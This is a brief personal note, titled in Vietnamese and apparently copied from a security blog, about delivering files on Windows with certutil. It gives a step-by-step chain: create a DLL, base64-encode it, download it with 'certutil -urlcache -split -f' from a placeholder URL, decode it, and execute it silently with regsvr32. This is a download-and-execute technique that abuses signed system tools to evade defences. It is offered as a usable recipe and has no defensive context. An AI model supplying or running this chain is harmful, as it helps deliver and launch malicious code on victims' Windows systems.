[Note] tải file windows với Certutil

copy: http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html

1. Create your DLL
2. Base64encode it (optional)
3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down

4. Base64decode the file with certutil

5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll